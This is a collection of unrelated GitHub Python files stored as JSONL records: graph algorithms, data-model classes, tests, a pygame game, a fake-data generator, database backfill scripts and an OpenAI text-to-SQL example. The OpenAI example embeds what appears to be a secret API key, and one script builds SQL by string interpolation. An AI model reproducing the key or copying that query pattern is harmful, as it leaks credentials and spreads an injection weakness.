list_edges.sort()\n\n i = 0\n while len(list_edges) > i and count > 1:\n weight, start, end = list_edges[i]\n if components[start] != components[end]:\n mst += weight\n count -= 1\n update_components(components, components[start], components[end])\n i +=1\n return mst\n\n#g[1][1] -> (1,4,2)\n\ng = [\n [],\n [(1,3,1), (1,4,2), (1,7,6)],\n [(2,5,2), (2,6,4), (2,7,7)],\n [(3,1,1), (3,4,3), (3,7,5)],\n [(4, 1, 2), (4, 3, 3), (4, 5, 1), (4, 6, 9)],\n [(5, 2, 2), (5, 4, 1), (5, 7, 8)],\n [(6, 2, 4), (6, 4, 9)],\n [(7, 1, 6), (7, 2, 7), (7, 3, 5), (7, 5, 8)],\n]\n\nsol = kruskal(g)\nprint(sol)","repo_name":"jspindev/DAA-apuntes","sub_path":"t4 voraces en grafo/codigos profe clase/kruskal.py","file_name":"kruskal.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32345755657","text":"\"\"\"\nIdea:\n To create a set of models representing the columns inside a CSV. This enables us to be agnostic to the method of\n configuration. i.e. this information could be populated from a JSON configuration file or from a fluent API,\n but we no longer have as great a degree of coupling between the info.json configuration file and the output format.\n Some degree of coupling is bound to remain, but this approach gives us greater flexibility.\n\n It should be expressive enough that we can generate both CSV-W (QB) and the CMD metadata formats from this\n information. Basically this means that each column definition is a union of the properties required for the CSV-QB\n & CMD formats. I think going forward if and when we add new output formats, we'll need to review these models to\n ensure they're still fit-for-purpose and don't become the new locality of confusing mess.\n\n Validation of these models should be performed by the CSV-QB *or* CMD metadata file output function. Whether the\n metadata provided is valid depends on whether the model contains the information required by a given output method.\n\"\"\"\n\nfrom abc import ABC\nfrom typing import Optional, List, Union, Dict, Any\n\n\nclass CsvColumn(ABC):\n csv_column_title: str\n\n def __init__(self, csv_column_title: str):\n self.csv_column_title = csv_column_title\n\n\nclass DimensionColumn(CsvColumn):\n parent_dimension_uri: Optional[str]\n dimension_uri: Optional[str]\n value_uri: Optional[str]\n source_uri: Optional[str]\n\n description: Optional[str]\n label: Optional[str]\n\n codelist: Optional[Union[str, bool]]\n\n cmd_associated_notations: Optional[Dict[str, str]]\n\n def __init__(self,\n csv_column_title: str,\n parent_dimension_uri: Optional[str],\n dimension_uri: Optional[str],\n value_uri: Optional[str],\n source_uri: Optional[str],\n description: Optional[str],\n label: Optional[str],\n codelist: Optional[Union[str, bool]]\n ):\n CsvColumn.__init__(self, csv_column_title)\n self.parent_dimension_uri = parent_dimension_uri\n self.dimension_uri = dimension_uri\n self.value_uri = value_uri\n self.source_uri = source_uri\n self.description = description\n self.label = label\n self.codelist = codelist\n\n @staticmethod\n def existing_dimension(csv_column_title: str,\n dimension_uri: str,\n value_uri: Optional[str]):\n return DimensionColumn(csv_column_title, None, dimension_uri, value_uri, None, None, None, None)\n\n @staticmethod\n def new_dimension(csv_column_title: str,\n parent_dimension_uri: Optional[str],\n value_uri: Optional[str],\n source_uri: Optional[str],\n description: Optional[str],\n label: Optional[str],\n codelist: Optional[Union[str, bool]]):\n return DimensionColumn(csv_column_title, parent_dimension_uri, None, value_uri, source_uri, description, label,\n codelist)\n\n\nclass MeasureTypeColumn(DimensionColumn):\n types: Optional[List[str]]\n\n def get_measure_uri(self) -> str:\n return self.value_uri\n\n measure_uri: str = property(get_measure_uri)\n\n @staticmethod\n def existing_measure(csv_column_title: str,\n dimension_uri: str,\n measure_uri: str,\n types: Optional[List[str]]):\n return MeasureTypeColumn(csv_column_title, None, dimension_uri, measure_uri, None, None, None, None, types)\n\n def __init__(self,\n csv_column_title: str,\n parent_dimension_uri: Optional[str],\n dimension_uri: Optional[str],\n value_uri: Optional[str],\n source_uri: Optional[str],\n description: Optional[str],\n label: Optional[str],\n codelist: Optional[Union[str, bool]],\n types: Optional[List[str]]\n ):\n DimensionColumn.__init__(self, csv_column_title, parent_dimension_uri, dimension_uri, value_uri, source_uri,\n description, label, codelist)\n self.types = types\n\n\nclass ObservedValueColumn(CsvColumn):\n measure_uri: Optional[str]\n value_uri: str\n\n datatype: Optional[str]\n\n def __init__(self,\n csv_column_title: str,\n measure_uri: Optional[str],\n unit_uri: Optional[str],\n datatype: Optional[str]):\n CsvColumn.__init__(self, csv_column_title)\n self.measure_uri = measure_uri\n self.unit_uri = unit_uri\n self.datatype = datatype\n\n\nclass AttributeColumn(CsvColumn):\n attribute_uri: str\n value_uri: str\n\n def __init__(self, csv_column_title: str, attribute_uri: str, value_uri: str):\n CsvColumn.__init__(self, csv_column_title)\n self.attribute_uri = attribute_uri\n self.value_uri = value_uri\n\n @staticmethod\n def existing_attribute(csv_column_title: str, attribute_uri: str, value_uri: str):\n return AttributeColumn(csv_column_title, attribute_uri, value_uri)\n\n\nclass SuppressedColumn(CsvColumn):\n def __init__(self, csv_column_title: str):\n CsvColumn.__init__(self, csv_column_title)\n\n\ndef _get_column_for_metadata_config(col_name: str, col_config: Any) -> CsvColumn:\n if isinstance(col_config, dict):\n dimension = col_config.get(\"dimension\")\n value = col_config.get(\"value\")\n parent = col_config.get(\"parent\")\n description = col_config.get(\"description\")\n label = col_config.get(\"label\")\n attribute = col_config.get(\"attribute\")\n unit = col_config.get(\"unit\")\n measure = col_config.get(\"measure\")\n datatype = col_config.get(\"datatype\")\n\n if dimension is not None and value is not None:\n if dimension == \"http://purl.org/linked-data/cube#measureType\":\n return MeasureTypeColumn.existing_measure(col_name, dimension, value, col_config.get(\"types\"))\n else:\n return DimensionColumn.existing_dimension(col_name, dimension, value)\n elif parent is not None or description is not None or label is not None:\n return DimensionColumn.new_dimension(col_name, parent, value, col_config.get(\"source\"), description, label,\n col_config.get(\"codelist\"))\n elif attribute is not None and value is not None:\n return AttributeColumn.existing_attribute(col_name, attribute, value)\n elif (unit is not None and measure is not None) or datatype is not None:\n return ObservedValueColumn(col_name, measure, unit, datatype)\n else:\n raise Exception(f\"Unmatched column definition: {col_config}\")\n elif isinstance(col_config, bool) and not col_config:\n return SuppressedColumn(col_name)\n else:\n # If not defined, treat it as a dimension.\n return DimensionColumn.new_dimension(col_name, None, None, None, None, None, None)\n\n\ndef columns_from_info_json(column_mappings: Dict[str, Any]) -> Dict[str, CsvColumn]:\n csv_columns: Dict[str, CsvColumn] = {}\n for col_name, mapping in column_mappings.items():\n csv_columns[col_name] = _get_column_for_metadata_config(col_name, mapping)\n\n _set_observation_measure_uri_if_none(csv_columns)\n\n return csv_columns\n\n\ndef _set_observation_measure_uri_if_none(csv_columns):\n observed_value_columns: List[ObservedValueColumn] = \\\n [c for c in csv_columns.values() if isinstance(c, ObservedValueColumn)]\n if len(observed_value_columns) != 1:\n raise Exception(f\"Found {len(observed_value_columns)} observation value columns. Expected 1.\")\n observed_value_column = observed_value_columns[0]\n\n if observed_value_column.measure_uri is None:\n measure_type_columns = [c for c in csv_columns.values() if isinstance(c, MeasureTypeColumn)]\n if len(measure_type_columns) != 1:\n raise Exception(f\"Found {len(measure_type_columns)} measure type columns. Expected 1.\")\n measure_type_column = measure_type_columns[0]\n\n observed_value_column.measure_uri = measure_type_column.value_uri\n","repo_name":"robons/cubes-chunk-proposal","sub_path":"columns.py","file_name":"columns.py","file_ext":"py","file_size_in_byte":8426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"71930635674","text":"import pytest\nfrom aoc_2018_02 import (\n count_letter,\n calculate_doubles_and_triples,\n get_possible_box_ids,\n)\n\n\n@pytest.mark.parametrize(\n \"test_input,expected\",\n [\n (\"abcdef\", (False, False)),\n (\"bababc\", (True, True)),\n (\"abbcde\", (True, False)),\n (\"abcccd\", (False, True)),\n (\"aabcdd\", (True, False)),\n (\"abcdee\", (True, False)),\n (\"ababab\", (False, True)),\n ],\n)\ndef test_count_letter(test_input, expected):\n assert count_letter(test_input) == expected\n\n\ndef test_calculate_doubles_and_triples():\n assert calculate_doubles_and_triples(\n ([\"abcdef\", \"bababc\", \"abbcde\", \"abcccd\", \"aabcdd\", \"abcdee\", \"ababab\",])\n ) == (4, 3)\n\n\ndef test_get_possible_box_ids():\n assert (\n get_possible_box_ids(\n [\"abcde\", \"fghij\", \"klmno\", \"pqrst\", \"fguij\", \"axcye\", \"wvxyz\"]\n )\n == \"fgij\"\n )\n","repo_name":"jshales4/AdventOfCode","sub_path":"2018/tests/test_2018_02.py","file_name":"test_2018_02.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14891959544","text":"import pygame\nimport animal\nimport building\nimport role\nfrom color import clr\n\nfrom platform import system as osSystem\n\nfrom pygame_extendtion import *\nfrom enviroment import EnviromentController\nfrom animal import AnimalController, AnimalInfo\nfrom role import RoleController\nfrom ui import UIController, ItemInfo\nfrom building import BuildingController, BuildingInfo\nfrom work import JobControler\n\nfrom threading import Thread\nfrom time import sleep\n\nPLATFORM = osSystem()\nWIDTH = 760\nHEIGHT = 500\nBLOCK_SIZE = 20\n\nBLK_SZ_LEVELS = (\n 10,\n 20,\n 25,\n 50\n )\n\nQUIT = pygame.QUIT\nMOUSEDOWN = pygame.MOUSEBUTTONDOWN\nKEYDOWN = pygame.KEYDOWN\n\nclass App:\n def __init__(self):\n self.window = None\n self.block_size_level = BLK_SZ_LEVELS.index(BLOCK_SIZE)\n\n self.screen = ScreenInfo(block_size=BLOCK_SIZE, width=WIDTH, height=HEIGHT)\n self.images = ImageLoader()\n self.images.load_directory(\"texture\")\n\n self.build_info = BuildingInfo()\n self.build_info.load(\"info/BuildingInfo.json\", self.images)\n\n self.items_info = ItemInfo()\n self.items_info.load(\"info/ItemInfo.json\", self.images)\n\n self.animals_info = AnimalInfo()\n self.animals_info.load(\"info/Animal.json\", self.images)\n\n self.envCtlr = EnviromentController(\n self.screen,\n self.images)\n self.animalCtlr = AnimalController(\n self.screen,\n self.animals_info,\n self.images)\n self.roleCtlr = RoleController(\n self.screen,\n self.images,\n self.build_info)\n self.buildCtlr = BuildingController(\n self.screen,\n self.images,\n self.build_info,\n self.items_info,\n self.animals_info)\n self.UICtlr = UIController(\n self.screen,\n self.build_info,\n self.items_info)\n self.jobCtlr = JobControler()\n\n self.GameEngine = None\n self.STOP = False\n\n def load_map(self, mappath):\n self.envCtlr.load(mappath)\n self.animalCtlr.load(mappath)\n self.roleCtlr.load(mappath)\n self.buildCtlr.load(mappath)\n\n self.animalCtlr.setUpCtlr(\n self.envCtlr,\n self.roleCtlr)\n\n self.roleCtlr.setUpCtlr(\n self.envCtlr,\n self.animalCtlr,\n self.buildCtlr,\n self.UICtlr,\n self.jobCtlr,\n )\n\n self.buildCtlr.setUpCtlr(\n self.envCtlr,\n )\n\n self.UICtlr.setUpCtlr(\n self.envCtlr,\n self.roleCtlr,\n self.buildCtlr,\n self.animalCtlr,\n self.jobCtlr,\n )\n\n self.jobCtlr.setUpCtlr(\n self.envCtlr,\n )\n\n def zoom_in(self):\n if self.block_size_level < len(BLK_SZ_LEVELS) - 1:\n self.block_size_level += 1\n self.screen.set_block_size(BLK_SZ_LEVELS[self.block_size_level])\n self.envCtlr.change_screen_size()\n\n def zoom_out(self):\n if self.block_size_level >= 1:\n self.block_size_level -= 1\n self.screen.set_block_size(BLK_SZ_LEVELS[self.block_size_level])\n self.envCtlr.change_screen_size()\n\n def loadGameEngine(self):\n tick = 30\n tick_interval = 1 / tick\n clock = pygame.time.Clock()\n while not self.STOP:\n self.animalCtlr.tick_load(tick_interval)\n self.roleCtlr.tick_load(tick_interval)\n self.buildCtlr.tick_load(tick_interval)\n clock.tick(tick)\n\n def set_up(self):\n pygame.init()\n\n self.GameEngine = Thread(target=self.loadGameEngine)\n\n self.window = pygame.display.set_mode((WIDTH, HEIGHT))\n self.envCtlr.change_surface(self.window)\n self.animalCtlr.change_surface(self.window)\n self.roleCtlr.change_surface(self.window)\n self.buildCtlr.change_surface(self.window)\n\n self.UICtlr.change_surface(self.window)\n\n pygame.key.set_repeat(1, 20)\n pygame.display.set_caption(\"Spruce\")\n\n def run(self):\n self.set_up()\n\n self.GameEngine.start()\n clock = pygame.time.Clock()\n\n count = 0\n viewY = 0\n viewX = 0\n while True:\n for event in pygame.event.get():\n if event.type == QUIT:\n self.stop()\n elif event.type == MOUSEDOWN:\n if event.button == 1:\n self.UICtlr.left_click(viewX, viewY)\n elif event.button == 3:\n self.UICtlr.right_click(viewX, viewY)\n\n elif event.type == KEYDOWN:\n keys = pygame.key.get_pressed()\n\n camera_moved = False\n # move camera\n if keys[pygame.K_w]:\n if viewY >= 0:\n viewY -= 1\n camera_moved = True\n elif keys[pygame.K_s]:\n if self.envCtlr.in_y_view(viewY):\n viewY += 1\n camera_moved = True\n\n if keys[pygame.K_a]:\n if viewX >= 0:\n viewX -= 1\n camera_moved = True\n elif keys[pygame.K_d]:\n if self.envCtlr.in_x_view(viewX):\n viewX += 1\n camera_moved = True\n if camera_moved:\n continue\n\n # building rotate\n if keys[pygame.K_q]:\n self.UICtlr.press(pygame.K_q)\n elif keys[pygame.K_e]:\n self.UICtlr.press(pygame.K_e)\n\n # change envirment\n if keys[pygame.K_UP]:\n viewX, viewY = self.envCtlr.change_depth(1, viewX, viewY)\n self.UICtlr.clear_buttons()\n elif keys[pygame.K_DOWN]:\n viewX, viewY = self.envCtlr.change_depth(-1, viewX, viewY)\n self.UICtlr.clear_buttons()\n\n # zoom\n if keys[pygame.K_EQUALS]:\n blz_size_level = self.block_size_level\n\n if PLATFORM == \"Darwin\" and (keys[pygame.K_LMETA] or keys[pygame.K_RMETA]):\n self.zoom_in()\n elif keys[pygame.K_LMETA] or keys[pygame.K_RMETA]:\n self.zoom_in()\n elif keys[pygame.K_MINUS]:\n blz_size_level = self.block_size_level\n\n if PLATFORM == \"Darwin\" and (keys[pygame.K_LMETA] or keys[pygame.K_RMETA]):\n self.zoom_out()\n elif keys[pygame.K_LMETA] or keys[pygame.K_RMETA]:\n self.zoom_out()\n elif event.type == pygame.MOUSEMOTION:\n self.UICtlr.mouse_motion(event.pos)\n\n self.envCtlr.render(viewX, viewY)\n self.buildCtlr.render(viewX, viewY)\n self.animalCtlr.render(viewX, viewY)\n self.roleCtlr.render(viewX, viewY)\n\n self.UICtlr.render(viewX, viewY)\n pygame.display.flip()\n\n clock.tick(30)\n\n def stop(self):\n self.STOP = True\n self.envCtlr.stop()\n pygame.quit()\n exit()\n\nif __name__ == \"__main__\":\n app = App()\n app.load_map(\"map\")\n app.run()","repo_name":"panmpan17/Spruce","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"44074575182","text":"from datetime import datetime\n\nfrom faker import Faker\n\n\nclass CustomerGenerator:\n def __init__(self, gender=\"M\"):\n self.gender = gender\n self.fake = Faker('ru-RU')\n self.gender_dict = {\n \"M\": {\n \"first_name\": self.fake.first_name_male,\n \"last_name\": self.fake.last_name_male,\n \"middle_name\": self.fake.middle_name_male\n },\n \"F\": {\n \"first_name\": self.fake.first_name_female,\n \"last_name\": self.fake.last_name_female,\n \"middle_name\": self.fake.middle_name_female\n }\n }\n self.pk = 1\n\n def generate(self, user_id=None, amount=10, gender=None):\n if gender:\n self.gender = gender\n\n customers = []\n for i in range(amount):\n time = self.fake.date_time_between(start_date=datetime(2022, 1, 1, 0, 0, 1))\n customers.append(\n {\n \"model\": \"Customer.customer\",\n \"pk\": user_id if user_id else self.pk,\n \"fields\": {\n \"created_at\": f\"{time.year}-{time.month}-{time.day}T{time.hour}:{time.minute}:{time.second}.123Z\",\n \"updated_at\": f\"{time.year}-{time.month}-{time.day}T{time.hour}:{time.minute}:{time.second}.123Z\",\n \"is_active\": self.fake.boolean(90),\n \"first_name\": self.gender_dict[self.gender]['first_name'](),\n \"last_name\": self.gender_dict[self.gender]['last_name'](),\n \"middle_name\": self.gender_dict[self.gender]['middle_name'](),\n \"gender\": self.gender,\n # \"email\": self.fake.email(),\n \"phone_number\": self.fake.phone_number(),\n \"country\": self.fake.country_code(),\n \"balance\": str(self.fake.pydecimal(min_value=0, max_value=200_000, right_digits=2))\n }\n }\n )\n self.pk += 1\n return customers\n","repo_name":"Ayudesee/faker-db","sub_path":"CustomerGenerator/CustomerGenerator.py","file_name":"CustomerGenerator.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72745301595","text":"# -*- coding: utf-8 -*-\nfrom eod_aps.model.server_constans import ServerConstant\nfrom eod_aps.tools.date_utils import DateUtils\n\n\ndate_utils = DateUtils()\n\n\ndef __find_strategy(order_id, order_dict):\n if order_id not in order_dict:\n return None\n order_db = order_dict[order_id]\n if order_db[2] != '':\n strategy_name = __find_strategy(str(order_db[2]), order_dict)\n else:\n strategy_name = order_db[1]\n return strategy_name\n\n\ndef __trade_strategy_build(server_model, trading_day):\n session_om = server_model.get_db_session('om')\n\n trade_list = []\n query_sql = \"select id,order_id from om.trade2 where strategy_id = '' and time like '%s'\" % ('%' + trading_day + '%',)\n for trade_db in session_om.execute(query_sql):\n trade_list.append((str(trade_db[0]), str(trade_db[1])))\n\n order_dict = dict()\n query_sql = \"select id,strategy_id,parent_ord_id from om.order where create_time like '%s'\" % ('%' + trading_day + '%',)\n for order_db in session_om.execute(query_sql):\n order_dict[str(order_db[0])] = order_db\n\n for (trade_id, order_id) in trade_list:\n strategy_name = __find_strategy(order_id, order_dict)\n if strategy_name is None or strategy_name == '':\n continue\n\n update_sql = \"update om.trade2 set strategy_id='%s' where id='%s'\" % (strategy_name, trade_id)\n session_om.execute(update_sql)\n session_om.commit()\n\n\ndef start():\n server_model = ServerConstant().get_server_model('nanhua')\n trading_day_list = date_utils.get_trading_day_list(date_utils.string_toDatetime('2016-09-23'),\n date_utils.string_toDatetime('2016-10-14'))\n for trading_day in trading_day_list:\n __trade_strategy_build(server_model, trading_day.strftime(\"%Y-%m-%d\"))\n \n\nif __name__ == '__main__':\n start()\n","repo_name":"dsjmhjs/python_eod","sub_path":"unuse/trade_strategy_build.py","file_name":"trade_strategy_build.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"28646629017","text":"import os\nimport sys\n\nclass Schema:\n def __init__(self):\n self._type = \"\"\n self._meta_type = [\"Schema\"]\n def __eq__(self, other):\n if not isinstance(other, Schema):\n return False\n return self._type == other._type\n\nclass ParameterizedSchema(Schema):\n def __init__(self):\n super().__init__()\n self._parameters = {}\n self._adjustments = {\"scale\": None, \"translation\": None, \"rotation\": None, \"flip\": None}\n self._sim_adjustments = {\"scale\": None, \"translation\": None, \"rotation\": None, \"flip\": None}\n self._type = \"Object\"\n self._meta_type.append(\"ParameterizedSchema\")\n def unplace(self, sim):\n retq = ParameterizedSchema()\n retq._parameters = self._parameters.copy()\n retq._adjustments = self._adjustments\n retq._sim_adjustments = self._sim_adjustments\n retq._type = self._type\n retq._meta_type = self._meta_type\n for a in ['velocity', 'translation', 'rotation', 'angular_velocity']:\n for p in sim._getParamset(a):\n if p in retq._parameters:\n retq._parameters.pop(p)\n return retq\n def __repr__(self):\n s = self._type + \"(\"\n for k in sorted(self._parameters.keys()):\n if k in [\"name\", \"id\", \"type\"]:\n s = s + (\"%s=%s,\" % (str(k), str(self._parameters[k])))\n return s + \")\"\n def __eq__(self, other):\n if not super().__eq__(other):\n return False\n if not isinstance(other,ParameterizedSchema):\n return False\n # Parameter fillers should not be schemas!\n return self._parameters == other._parameters\n def getId(self):\n if \"name\" in self._parameters:\n return self._parameters[\"name\"]\n if \"type\" in self._parameters:\n return self._parameters[\"type\"]\n return None\n def getMeshPath(self, modifier=None):\n if \"mesh\" not in self._parameters:\n return None\n path = self._parameters[\"mesh\"]\n if isinstance(modifier, str) and (\"\" != modifier):\n path = path[:path.rfind(\".\")] + modifier\n if not (path and (\"/\" == path[0])):\n path = os.path.join(\"../meshes\", path)\n path = os.path.join(os.path.dirname(__file__), path)\n if not os.path.isfile(path):\n return None\n return path\n def _getVolumeInternal(self, sim):\n return sim.space().loadVolume(self.getMeshPath(modifier=sim.space().volumePathModifier()), adjustments=self._adjustments)\n def _getTransformInternal(self, sim):\n return sim.translationVector(self), sim.rotationRepresentation(self)\n def getPoint(self, sim, frameData={}):\n retq = sim.space().nullVector()\n if frameData:\n retq = sim.translationVector(frameData)\n elif sim.isExplicitObject(self):\n retq = sim.translationVector(self)\n return retq\n def getVolumeBounds(self, sim):\n t, r = self._getTransformInternal(sim)\n return sim.space().volumeBounds(self._getVolumeInternal(sim)), t, r\n def getVolume(self, sim):\n t, r = self._getTransformInternal(sim)\n return sim.space().transformVolume(self._getVolumeInternal(sim), t, r)\n def getFloorLevel(self, sim):\n return sim.space().floorLevel(self.getVolume(sim))\n def getVolumeAtFrame(self, frameData, frame, sim):\n if 0 == frame:\n return self.getVolume(sim)\n volume = self._getVolumeInternal(sim)\n objectFrame = frameData[frame][self.getId()]\n t = sim.translationVector(objectFrame)\n r = sim.rotationRepresentation(objectFrame)\n return sim.space().transformVolume(volume, t, r)\n def getTrajectories(self, frameData):\n name = self.getId()\n trajectories = {name: {}}\n k = 0\n for f in frameData:\n if name in f:\n trajectories[name][k] = f[name]\n k = k + 1\n return trajectories\n\nclass ParticleSystem(ParameterizedSchema):\n def __init__(self):\n super().__init__()\n self._parameters = {}\n self._type = \"ParticleSystem\"\n self._meta_type.append(\"ParticleSystem\")\n def __repr__(self):\n s = self._type + \"(\"\n for k in sorted(self._parameters.keys()):\n if k in [\"name\", \"id\", \"type\"]:\n s = s + (\"%s=%s,\" % (str(k), str(self._parameters[k])))\n return s + \")\"\n def _getFrameData(self, frame):\n name = self.getId()\n particles = {}\n name = name + \":\"\n for k, v in frame.items():\n if 0 == k.find(name):\n particles[int(k[k.rfind(\":\")+1:])] = v\n retq = []\n for k in sorted(particles.keys()):\n retq.append(particles[k])\n return retq\n def _getParticleTransformsInternal(self, sim):\n if not \"particles\" in self._parameters:\n return None\n ts = []\n rs = []\n for p in self._parameters[\"particles\"]:\n ts.append(sim.translationVector(p))\n rs.append(sim.rotationRepresentation(p))\n return ts, rs\n def getVolume(self, sim):\n basevolume = self._getVolumeInternal(sim)\n if (not \"particles\" in self._parameters) or (not self._parameters[\"particles\"]):\n return basevolume\n ts, rs = self._getParticleTransformsInternal(sim)\n volumes = []\n for t, r in zip(ts, rs):\n volume = sim.space().transformVolume(basevolume.copy(), t, r)\n volumes.append(volume)\n return volumes\n def getVolumeAtFrame(self, frameData, frame, sim):\n if 0 == frame:\n return self.getVolume(sim)\n basevolume = self._getVolumeInternal(sim)\n objectFrame = self._getFrameData(frameData[frame])\n volumes = []\n for p in objectFrame:\n volumes.append(sim.space().transformVolume(basevolume.copy(), sim.translationVector(p), sim.rotationRepresentation(p)))\n return volumes\n def getTrajectories(self, frameData):\n trajectories = {}\n if not \"particles\" in self._parameters:\n return {}\n name = self.getId()\n k = 0\n for f in frameData:\n j = 0\n for p in self._parameters[\"particles\"]:\n pname = name + \":\" + str(j)\n if pname in f:\n if pname not in trajectories:\n trajectories[pname] = {}\n trajectories[pname][k] = f[pname]\n j = j + 1\n k = k + 1\n return trajectories\n\nclass VariableSchema(ParameterizedSchema):\n def __init__(self, identity=\"\"):\n super().__init__()\n self._parameters = {\"id\": identity}\n self._type = \"Var\"\n def __repr__(self):\n s = self._type + \"(\"\n for k in sorted(self._parameters.keys()):\n if k in [\"name\", \"id\", \"type\"]:\n s = s + (\"%s=%s,\" % (str(k), str(self._parameters[k])))\n return s + \")\"\n\nclass SchemaTheory:\n def __init__(self):\n self._rules = []\n self._facts = []\n self._nonfacts = []\n self._contradiction = False\n def _normal_form(self):\n if self._contradiction:\n return\n nR = []\n for r in self._rules:\n if r[\"consequent+\"] and r[\"consequent-\"]:\n nR.append({\"antecedent\": r[\"antecedent\"], \"consequent+\": r[\"consequent+\"], \"consequent-\": None})\n nR.append({\"antecedent\": r[\"antecedent\"], \"consequent-\": r[\"consequent-\"], \"consequent+\": None})\n elif r[\"consequent+\"] or r[\"consequent-\"]:\n nR.append(r)\n self._rules = nR\n self._contradiction = False\n for f in self._facts:\n if f in self._nonfacts:\n self._contradiction = True\n for f in self._nonfacts:\n if f in self._facts:\n self._contradiction = True\n def _reason_internal(self):\n nR = []\n simplifiedRule = False\n for r in self._rules:\n fp = r[\"consequent+\"]\n fn = r[\"consequent-\"]\n if [] == r[\"antecedent\"]:\n if (fp in self._nonfacts) or (fn in self._facts):\n self._contradiction = True\n return False\n if fp and (not fp in self._facts):\n self._facts.append(fp)\n if fn and (not fn in self._nonfacts):\n self._nonfacts.append(fn)\n elif (fp and (fp in self._facts)) or (fn and (fn in self._nonfacts)):\n continue\n elif fn in self._facts:\n r[\"consequent-\"] = r[\"antecedent\"][0]\n r[\"antecedent\"] = r[\"antecedent\"][1:]\n simplifiedRule = True\n nR.append(r)\n elif fp in self._nonfacts:\n r[\"consequent+\"] = None\n r[\"consequent-\"] = r[\"antecedent\"][0]\n r[\"antecedent\"] = r[\"antecedent\"][1:]\n simplifiedRule = True\n nR.append(r)\n else:\n skipRule = False\n for f in self._nonfacts:\n if f in r[\"antecedent\"]:\n skipRule = True\n if skipRule:\n continue\n for f in self._facts:\n if f in r[\"antecedent\"]:\n r[\"antecedent\"].remove(f)\n simplifiedRule = True\n nR.append(r)\n self._rules = nR\n return simplifiedRule\n def reason(self):\n self._normal_form()\n if self._contradiction:\n self._facts = []\n self._nonfacts = []\n self._rules = []\n return False\n while self._reason_internal():\n continue\n return not self._contradiction\n def facts(self):\n if self._contradiction:\n return None\n return self._facts\n\nclass RoleDefiningSchema(Schema):\n def __init__(self):\n super().__init__()\n self._roles = {}\n self._meta_type.append(\"RoleDefiningSchema\")\n def __repr__(self):\n s = self._type + \"(\"\n for k in sorted(self._roles.keys()):\n s = s + (\"%s=%s,\" % (str(k), str(self._roles[k])))\n return s + \")\"\n def getSchemaTheory(self, schemaNet):\n retq = SchemaTheory()\n # if the schema theory is already instantiated, then it must contain exactly one fact which is the schema itself\n retq._facts.append(self)\n # if a generic schema theory should be returned, then:\n # there must be exactly one fact in a schema theory, and that fact must have the same type and roles as the schema; all fillers however are variables\n #varSchema = RoleDefiningSchema()\n #varSchema._type = self._type\n #for k in self._roles.keys():\n # varSchema._roles[k] = VariableSchema(identifier=(\"X_%s\" % k))\n return retq\n def __eq__(self, other):\n if not super().__eq__(other):\n return False\n if not isinstance(other,RoleDefiningSchema):\n return False\n # Schema roleFiller relations should not be circular!\n return self._roles == other._roles\n\n\n","repo_name":"mpomarlan/schemasim","sub_path":"schemasim/schemas/l0_schema_templates.py","file_name":"l0_schema_templates.py","file_ext":"py","file_size_in_byte":11255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21022216799","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\nimport os\nfrom importlib import import_module\nfrom setuptools import setup, find_packages\n\n\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\n\n\nlong_description = open('README.rst').read()\nversion = import_module('ghostdown').__version__\n\n# Load requirements from requirement file.\nwith open('requirements/project.txt') as f:\n install_requires = [p for p in f.readlines() if p]\n\n\nsetup(\n name='django-ghostdown',\n url='https://github.com/uranusjr/django-ghostdown',\n author='Tzu-ping Chung',\n author_email='uranusjr@gmail.com',\n description='Ghost-like markdown editor as a Django form widget.',\n long_description=long_description,\n version=version,\n install_requires=install_requires,\n license='MIT License',\n packages=find_packages(),\n include_package_data=True,\n classifiers=[\n 'Environment :: Web Environment',\n 'Framework :: Django',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Topic :: Internet :: WWW/HTTP',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ],\n)\n","repo_name":"uranusjr/django-ghostdown","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"50"} +{"seq_id":"26270248088","text":"import os\nimport openai\n\nopenai.api_key = os.getenv(\"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\")\n\nresponse = openai.Completion.create(\n model=\"text-davinci-003\",\n prompt=\"### Postgres SQL tables, with their properties:\\n#\\n# Employee(id, name, department_id)\\n# Department(id, name, address)\\n# Salary_Payments(id, employee_id, amount, date)\\n#\\n### A query to list the names of the departments which employed more than 10 employees in the last 3 months\\nSELECT\",\n temperature=0,\n max_tokens=150,\n top_p=1.0,\n frequency_penalty=0.0,\n presence_penalty=0.0,\n stop=[\"#\", \";\"]\n)\n\n# Prompt\n### Postgres SQL tables, with their properties:\n#\n# Employee(id, name, department_id)\n# Department(id, name, address)\n# Salary_Payments(id, employee_id, amount, date)\n#\n### A query to list the names of the departments which employed more than 10 employees in the last 3 months\n# SELECT\n# Sample response\n# SELECT d.name \n# FROM Department d \n# INNER JOIN Employee e ON d.id = e.department_id \n# INNER JOIN Salary_Payments sp ON e.id = sp.employee_id \n# WHERE sp.date > NOW() - INTERVAL '3 months' \n# GROUP BY d.name \n# HAVING COUNT(*) > 